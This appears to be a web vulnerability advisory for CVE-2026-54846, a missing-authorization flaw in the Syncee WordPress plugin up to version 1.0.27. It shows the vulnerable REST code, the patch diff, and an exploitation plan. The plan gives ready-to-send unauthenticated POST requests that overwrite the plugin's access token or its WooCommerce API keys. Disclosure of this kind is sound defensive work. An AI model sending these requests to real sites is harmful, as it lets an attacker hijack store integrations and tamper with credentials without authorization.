CVE-2026-54846

Syncee Premium Dropshipping & Wholesale <= 1.0.27 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.0.28
Patched in
6d
Time to patch

Description

The Syncee Premium Dropshipping & Wholesale plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.27. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.27
PublishedJune 18, 2026
Last updatedJune 23, 2026

What Changed in the Fix

Changes introduced in v1.0.28

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-54846 ## 1. Vulnerability Summary The **Syncee Premium Dropshipping & Wholesale** plugin (<= 1.0.27) contains a **Missing Authorization** vulnerability in its REST API implementation. The plugin registers several REST API endpoints in `includes/RestForSyncee.…

Show full research plan

Exploitation Research Plan - CVE-2026-54846

1. Vulnerability Summary

The Syncee Premium Dropshipping & Wholesale plugin (<= 1.0.27) contains a Missing Authorization vulnerability in its REST API implementation. The plugin registers several REST API endpoints in includes/RestForSyncee.php using the register_rest_route function. For many critical actions, the permission_callback is set to __return_true, and the callback functions themselves lack any capability or nonce checks. This allows unauthenticated attackers to modify plugin settings, such as access tokens and WooCommerce API credentials.

2. Attack Vector Analysis

  • Endpoint: /wp-json/syncee/retailer/v1/saveAccessTokenFromSyncee
  • Method: POST
  • Vulnerable Parameter: accessToken (POST body)
  • Authentication: None Required (Unauthenticated)
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Registration: In includes/RestForSyncee.php, the __construct method hooks into rest_api_init, calling registerEndpointsForSyncee.
  2. Logic: The registerEndpointsForSyncee function iterates through the $this->endpoints array.
  3. Vulnerability: For the 'saveAccessTokenFromSyncee' entry under 'POST', the protection status is set to false.
    'POST' => [
        'callbackFromWoocommerce' => false,
        'saveAccessTokenFromSyncee' => false, // Set to false
        ...
    ]
    
  4. Permission Callback: The register_rest_route call assigns __return_true as the permission_callback because $protected is false:
    'permission_callback' => $protected ? function () {
        return current_user_can('edit_others_posts');
    } : '__return_true',
    
  5. Execution: When a request hits the endpoint, the saveAccessTokenFromSyncee callback is executed:
    function saveAccessTokenFromSyncee() {
        $accessToken = sanitize_text_field($_POST['accessToken']);
        update_option('syncee_access_token', $accessToken); // Sink
        wp_send_json_success(esc_html(get_option('syncee_access_token')));
    }
    
    The function directly updates the syncee_access_token option with user-supplied data.

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce for unauthenticated exploitation.

  • The WordPress REST API only enforces nonce validation for authenticated cookie-based sessions to prevent CSRF.
  • For unauthenticated requests (no session cookies), WordPress relies entirely on the permission_callback.
  • Since permission_callback is explicitly set to __return_true and the function body lacks manual check_ajax_referer or wp_verify_nonce calls, the endpoint is fully accessible to the public.

5. Exploitation Strategy

The goal is to modify the syncee_access_token setting via an unauthenticated POST request.

HTTP Request via http_request tool:

  • Method: POST
  • URL: {{BASE_URL}}/wp-json/syncee/retailer/v1/saveAccessTokenFromSyncee
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body: accessToken=pwned_by_researcher

6. Test Data Setup

  1. Install and activate the Syncee Premium Dropshipping & Wholesale plugin version 1.0.27.
  2. Ensure the syncee_access_token option is either empty or set to a known value.
    • wp option get syncee_access_token (Expected: empty or initial value)

7. Expected Results

  • The server should return an HTTP 200 OK status.
  • The JSON response body should indicate success: {"success":true,"data":"pwned_by_researcher"}.
  • The WordPress database will be updated, overwriting the syncee_access_token option.

8. Verification Steps

After performing the HTTP request, verify the state change using WP-CLI:

wp option get syncee_access_token

Verification Criterion: If the output is pwned_by_researcher, the exploit is confirmed.

9. Alternative Approaches

If saveAccessTokenFromSyncee is patched but other endpoints remain open, the following alternatives can be tested:

  • Modify WooCommerce Integration Data:

    • Endpoint: POST /wp-json/syncee/retailer/v1/callbackFromWoocommerce
    • Payload (JSON): {"consumer_key": "ck_hacked", "consumer_secret": "cs_hacked", "key_permissions": "read_write", "user_id": "1"}
    • Verification: wp option get data_to_syncee_installer
  • Trigger Unauthorized Disconnect:

    • Endpoint: POST /wp-json/syncee/retailer/v1/uninstallEcom
    • Effect: Deletes existing Syncee tokens if the remote call succeeds (or is spoofed).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Syncee Premium Dropshipping & Wholesale plugin registers several REST API endpoints for configuration and integration without adequate authorization checks. This allow unauthenticated attackers to overwrite sensitive plugin settings, including access tokens and WooCommerce API credentials, by sending simple POST requests to the vulnerable endpoints.

Vulnerable Code

// includes/RestForSyncee.php

    private $endpoints =
        [
            'POST' => [
                'callbackFromWoocommerce' => false,
                'saveAccessTokenFromSyncee' => false,
                'saveTokenFromSyncee' => false,
                'uninstallEcom' => false,
            ],
            'GET' => [
                'getCallbackData' => false,
                'getDataForFrontend' => true,
                'getRequirements' => false,
                'getShopData' => false,
            ],
        ];

    function registerEndpointsForSyncee()
    {
        foreach ($this->endpoints as $requestType => $endpoints) {
            foreach ($endpoints as $rest => $protected)
                register_rest_route(
                    $this->namespace,
                    $rest,
                    [
                        'methods' => $requestType,
                        'callback' => array($this, $rest),
                        'permission_callback' => $protected ? function () {
                            return current_user_can('edit_others_posts');
                        } : '__return_true',
                    ]
                );
        }
    }

---

// includes/RestForSyncee.php L140-145

    function saveAccessTokenFromSyncee()
    {
        $accessToken = sanitize_text_field($_POST['accessToken']);
        update_option('syncee_access_token', $accessToken);
        wp_send_json_success(esc_html(get_option('syncee_access_token')));
    }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/syncee-global-dropshipping/1.0.27/includes/RestForSyncee.php /home/deploy/wp-safety.org/data/plugin-versions/syncee-global-dropshipping/1.0.28/includes/RestForSyncee.php
--- /home/deploy/wp-safety.org/data/plugin-versions/syncee-global-dropshipping/1.0.27/includes/RestForSyncee.php	2024-09-05 10:10:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/syncee-global-dropshipping/1.0.28/includes/RestForSyncee.php	2026-06-11 12:22:30.000000000 +0000
@@ -1,162 +1,189 @@
-<?php
-
-
-class RestForSyncee
-{
-    private $namespace = 'syncee/retailer/v1';
-    private $endpoints =
-        [
-            'POST' => [
-                'callbackFromWoocommerce' => false,
-                'saveAccessTokenFromSyncee' => false,
-                'saveTokenFromSyncee' => false,
-                'uninstallEcom' => false,
-            ],
-            'GET' => [
-                'getCallbackData' => false,
-                'getDataForFrontend' => true,
-                'getRequirements' => false,
-                'getShopData' => false,
-            ],
-        ];
-
-    function __construct()
-    {
-        add_action('rest_api_init', array($this, 'registerEndpointsForSyncee'));
-    }
-
-
-    function registerEndpointsForSyncee()
-    {
-        foreach ($this->endpoints as $requestType => $endpoints) {
-            foreach ($endpoints as $rest => $protected)
-                register_rest_route(
-                    $this->namespace,
-                    $rest,
-                    [
-                        'methods' => $requestType,
-                        'callback' => array($this, $rest),
-                        'permission_callback' => $protected ? function () {
-                            return current_user_can('edit_others_posts');
-                        } : '__return_true',
-                    ]
-                );
-        }
-    }
+<?php
+
+
+class RestForSyncee
+{
+    private $namespace = 'syncee/retailer/v1';
+
+    function __construct()
+    {
+        add_action('rest_api_init', array($this, 'registerEndpointsForSyncee'));
+    }
+
+    function registerEndpointsForSyncee()
+    {
+        $routes = [
+            ['startInstallFlow',          'POST', [$this, 'permission_admin']],
+            ['callbackFromWoocommerce',   'POST', $this->require_state('woocommerce_auth')],
+            ['saveAccessTokenFromSyncee', 'POST', $this->require_state('syncee_install')],
+            ['saveTokenFromSyncee',       'POST', $this->require_state('syncee_install')],
+            ['uninstallEcom',             'POST', [$this, 'permission_admin']],
+            ['getRequirements',           'GET',  [$this, 'permission_admin']],
+            ['getDataForFrontend',        'GET',  [$this, 'permission_admin']],
+        ];
+
+        foreach ($routes as $route) {
+            list($endpoint, $method, $permission_callback) = $route;
+            register_rest_route(
+                $this->namespace,
+                $endpoint,
+                [
+                    'methods' => $method,
+                    'callback' => [$this, $endpoint],
+                    'permission_callback' => $permission_callback,
+                ]
+            );
+        }
+    }
+
+    public function permission_admin()
+    {
+        return current_user_can('manage_options');
+    }
+
+    private function require_state($required_stage)
+    {
+        return function (WP_REST_Request $request) use ($required_stage) {
+            $state = $request->get_param('state');
+            if (!is_string($state) || strlen($state) < 32) {
+                return false;
+            }
+            $key = 'syncee_state_' . hash('sha256', $state);
+            $stored_stage = get_transient($key);
+            if ($stored_stage !== $required_stage) {
+                return false;
+            }
+            delete_transient($key);
+            return true;
+        };
+    }

Exploit Outline

The exploit targets the WordPress REST API endpoint `/wp-json/syncee/retailer/v1/saveAccessTokenFromSyncee`. Because the plugin explicitly sets the `permission_callback` to `__return_true` for this route and fails to perform any manual capability or nonce checks within the callback, the endpoint is globally accessible. An unauthenticated attacker can send a POST request with an `accessToken` parameter in the request body (application/x-www-form-urlencoded). The plugin's `saveAccessTokenFromSyncee` function will then sanitize this input and update the `syncee_access_token` option in the database, effectively hijacking the plugin's synchronization mechanism or disrupting store operations.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.